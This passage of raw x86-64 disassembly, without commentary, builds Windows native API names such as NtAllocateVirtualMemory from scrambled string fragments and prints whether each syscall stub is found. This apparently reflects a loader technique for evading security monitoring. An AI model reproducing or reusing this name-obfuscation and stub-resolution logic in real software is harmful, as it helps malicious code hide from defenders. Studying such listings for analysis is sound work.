lea rdx, [rbp + 0x2de0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x0050b5b3]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x0050b5b5]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x0050b5b7]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x2d60]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2e40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2e60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2e80]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2ea0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2ec0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2ee0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2f00]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2f20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2f40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2f70]
mov rcx, qword [rbp + 0x5350]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x405948
lea rbx, [0x0050b58b]
jmp 0x40594f
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x315f]
lea rax, [rbp + 0x3130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3110]
lea rdx, [rbp + 0x3130]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x3110]
lea r8, [0x0050b5b9]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30f0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x0050b5bb]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x0050b5af]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x0050b5b1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x0050b5b3]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x2f90]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3110]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3130]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3160]
mov rcx, qword [rbp + 0x5348]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x405c88
lea rbx, [0x0050b58b]
jmp 0x405c8f
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x342f]
lea rax, [rbp + 0x3400]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x33e0]
lea rdx, [rbp + 0x3400]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x0050b5bd]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x0050b5bf]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x0050b5c3]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x0050b5c5]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x0050b5c7]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x0050b5c9]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x3180]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3400]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3430]
mov rcx, qword [rbp + 0x5340]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x4060fc
lea rbx, [0x0050b58b]
jmp 0x406103
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x377f]
lea rax, [rbp + 0x3750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3730]
lea rdx, [rbp + 0x3750]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3710]
lea rdx, [rbp + 0x3730]
lea r8, [0x0050b5cb]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x36f0]
lea rdx, [rbp + 0x3710]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x36d0]
lea rdx, [rbp + 0x36f0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x36b0]
lea rdx, [rbp + 0x36d0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3690]
lea rdx, [rbp + 0x36b0]
lea r8, [0x0050b589]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3670]
lea rdx, [rbp + 0x3690]
lea r8, [0x0050b5cd]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3650]
lea rdx, [rbp + 0x3670]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3630]
lea rdx, [rbp + 0x3650]
lea r8, [0x0050b5cf]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3610]
lea rdx, [rbp + 0x3630]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x35f0]
lea rdx, [rbp + 0x3610]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x0050b5ab]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x0050b5bb]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x0050b5bb]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x3450]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3610]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3630]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3650]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3670]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3690]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x36b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x36d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x36f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3710]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3730]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3750]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3780]
mov rcx, qword [rbp + 0x5338]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x406620
lea rbx, [0x0050b58b]
jmp 0x406627
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x3a0f]
lea rax, [rbp + 0x39e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x39c0]
lea rdx, [rbp + 0x39e0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x39a0]
lea rdx, [rbp + 0x39c0]
lea r8, [0x0050b5b9]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3980]
lea rdx, [rbp + 0x39a0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3960]
lea rdx, [rbp + 0x3980]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3940]
lea rdx, [rbp + 0x3960]
lea r8, [0x0050b5b3]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3920]
lea rdx, [rbp + 0x3940]
lea r8, [0x0050b57d]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3900]
lea rdx, [rbp + 0x3920]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x38e0]
lea rdx, [rbp + 0x3900]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x38c0]
lea rdx, [rbp + 0x38e0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x38a0]
lea rdx, [rbp + 0x38c0]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3880]
lea rdx, [rbp + 0x38a0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3860]
lea rdx, [rbp + 0x3880]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3840]
lea rdx, [rbp + 0x3860]
lea r8, [0x0050b585]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3820]
lea rdx, [rbp + 0x3840]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3800]
lea rdx, [rbp + 0x3820]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x37e0]
lea rdx, [rbp + 0x3800]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x0050b589]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x37a0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3800]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3820]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3840]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3860]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3880]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x38a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x38c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x38e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3900]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3920]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3940]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3960]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3980]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x39c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x39e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3a10]
mov rcx, qword [rbp + 0x5330]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x406a3c
lea rbx, [0x0050b58b]
jmp 0x406a43
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x3b1f]
lea rax, [rbp + 0x3af0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3ad0]
lea rdx, [rbp + 0x3af0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x0050b5ad]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x0050b5bb]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x3a30]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3af0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3b20]
mov rcx, qword [rbp + 0x5328]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x406c48
lea rbx, [0x0050b58b]
jmp 0x406c4f
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x3cef]
lea rax, [rbp + 0x3cc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x0050b5c5]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x0050b5d1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x0050b5ab]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x0050b5bb]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x0050b5bb]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x3b40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x3c00]
